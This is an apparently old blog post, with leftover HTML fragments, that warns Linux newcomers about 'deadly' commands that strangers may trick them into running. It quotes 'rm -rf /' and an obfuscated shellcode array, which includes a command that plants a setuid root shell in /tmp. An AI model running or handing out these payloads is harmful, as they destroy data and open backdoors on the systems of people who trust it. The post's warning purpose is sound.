You want to learn about Linux, start from learning what not to do. <a href="http://www.junauza.com/2008/11/7-deadly-linux-commands.html" target="_blank">Here is one for the starting point.
So moral of the story is if someone asks you to do something and you dont know what that command will do, then dont do it. If your inner thing does not allow you not to do it, do it with all the care you can take. May be a backup and most importantly ”DONT USE ROOT LOGIN IF U DONT HAVE REASON TO USE IT”. BTW there are couple of more articles on these kind of advices but the best way to save yourself is to educate yourself on the outcome of the command you are executing.
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.
- Code:<div style="text-align: left; font-weight: bold;"><span style="font-style: italic;">
rm -rf /
- Code:
<span style="font-style: italic; font-weight: bold;">char esp[] __attribute__ ((section(”.text”))) /* e.s.p
<span style="font-style: italic; font-weight: bold;">release */
<span style="font-style: italic; font-weight: bold;"> = ”\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
<span style="font-style: italic; font-weight: bold;"> ”\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
<span style="font-style: italic; font-weight: bold;"> ”\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
<span style="font-style: italic; font-weight: bold;"> ”\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
<span style="font-style: italic; font-weight: bold;"> ”\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
<span style="font-style: italic; font-weight: bold;"> ”\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
<span style="font-style: italic; font-weight: bold;"> ”\x6e\x2f\x73\x68\x00\x2d\x63\x00”
<span style="font-style: italic; font-weight: bold;"> ”cp -p /bin/sh /tmp/.beyond; chmod 4755
<span style="font-style: italic; font-weight: bold;">/tmp/.beyond;”;<div style="text-align: left;">This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
